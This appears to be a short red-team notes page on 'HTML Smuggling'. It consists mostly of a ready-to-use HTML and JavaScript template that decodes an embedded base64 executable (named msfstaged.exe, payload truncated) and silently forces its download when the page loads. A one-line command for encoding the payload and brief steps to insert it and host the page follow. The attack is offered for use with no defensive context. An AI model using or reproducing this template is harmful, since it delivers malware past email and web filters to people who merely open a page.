HTML Smuggling

Example

<html>
   <body>
      <script>
         function base64ToArrayBuffer(base64) {
         var binary_string = window.atob(base64);
         var len = binary_string.length;
         var bytes = new Uint8Array( len );
         for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i);
         }
         return bytes.buffer;
         }
         var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA...
         var data = base64ToArrayBuffer(file);
         var blob = new Blob([data], {type: 'octet/stream'});
         var fileName = 'msfstaged.exe';
         var a = document.createElement('a');
         document.body.appendChild(a);
         a.style = 'display: none';
         var url = window.URL.createObjectURL(blob);
         a.href = url;
         a.download = fileName;
         a.click();
         window.URL.revokeObjectURL(url);
      </script>
   </body>
</html>

base64 msfstaged.exe | tr -d '\n'

Replace var file with base64 of file

Host .html file

Last updated